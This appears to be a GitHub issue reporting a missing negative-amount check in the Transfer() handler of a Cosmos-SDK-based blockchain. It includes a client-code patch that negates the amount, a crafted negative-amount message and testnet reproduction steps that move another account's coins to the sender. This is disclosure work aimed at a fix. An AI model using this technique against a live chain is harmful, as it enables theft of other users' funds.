No negative check for Amount in Transfer() #13
Description
Describe The Bug
There exists no negative check for Amount field in KuMsg when handling Transfer().
The attacker can send a transaction which contains a negative Amount. This transaction will be executed successfully, after which the To account coin will be transferred to From. By exploiting this vulnerability, the attacker could transfer all others' coins to the account of himself, which disasterly destroy the whole ecosystem.
Code Snippets (Optional)
/x/chain/type/types.pb.go:L103-111
type KuMsg struct {
Auth []github_com_cosmos_cosmos_sdk_types.AccAddress `protobuf:"bytes,1,rep,name=auth,proto3,casttype=github.com/cosmos/cosmos-sdk/types.AccAddress" json:"auth,omitempty" yaml:"auth"`
From AccountID `protobuf:"bytes,2,opt,name=from,proto3" json:"from" yaml:"from"`
To AccountID `protobuf:"bytes,3,opt,name=to,proto3" json:"to" yaml:"to"`
Amount github_com_cosmos_cosmos_sdk_types.Coins `protobuf:"bytes,4,rep,name=amount,proto3,castrepeated=github.com/cosmos/cosmos-sdk/types.Coins" json:"amount" yaml:"amount"`
Router Name `protobuf:"bytes,5,opt,name=router,proto3" json:"router" yaml:"router"`
Action Name `protobuf:"bytes,6,opt,name=action,proto3" json:"action" yaml:"action"`
Data []byte `protobuf:"bytes,7,opt,name=data,proto3" json:"data,omitempty" yaml:"data"`
}The Amount filed of the KuMsg struct can be set as a negative value.
To reproduce the vulnerability, we need to modify the source code a little bit.
Add some coins to testacc2 in scripts/boot-testnet.sh.
# ...
./build/ktsd ${PARAMS} genesis add-account-coin kratos "100000000000000000000000kratos/kts"
./build/ktsd ${PARAMS} genesis add-account-coin testacc2 "10000kratos/kts" # Add this line.
# ...Modify the client code to make the amount set as negative when constructing the transfer transction.
/x/asset/client/cli/tx.go:L41-76
func Transfer(cdc *codec.Codec) *cobra.Command {
...
coin, err := sdk.ParseCoins(args[2])
if err != nil {
return err
}
coin[0].Amount = coin[0].Amount.Neg() // Add this line
...
}Input/Output
- Craft a KuMsg: '{"from":"kratos","to":"testacc2","amount":["-10000kratos/kts"]}'
- Output: None
To Reproduce
Steps to reproduce the behavior:
- Modify the source code as shown in the
Code Snippets. - make
- ./scripts/boot-testnet.sh ./
- ./build/ktscli query asset coins kratos
- ./build/ktscli query asset coins testacc2
- ./build/ktscli tx asset transfer kratos testacc2 10000kratos/kts --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
- ./build/ktscli query asset coins kratos
- ./build/ktscli query asset coins testacc2
Expected Behavior
Return an error "The amount of coin cannot be negative."
Screenshots
Before the transaction:
After the transaction:
Desktop (please complete the following information):
- OS: [macOS Catalina 10.15.6]
Additional Context (Optional)
Note: This problem not only exists in Transfer(), many other places also have this problem.
Contact Information
[email protected]
[email protected]